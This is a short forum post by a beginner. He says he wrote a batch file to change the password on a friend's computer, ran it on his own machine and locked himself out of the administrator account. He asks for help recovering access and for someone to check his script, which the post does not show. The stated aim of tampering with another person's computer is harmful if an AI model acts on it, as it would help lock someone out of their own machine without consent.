Hello. Since i'm new here, i don't know if i should post this here. But whatever. Plz just move if neccesary.

My problem is that i wanted to screw another computer, actually one of my friends But when i tried it on my own computer, it changed the password.
I told it to do so, but my problem is that i didn't finish the bat file.
I forgot the password for my administrator user, and i can't enter safe mode.
I hope someone here can help me, and maybe see if i scriptet wrong.
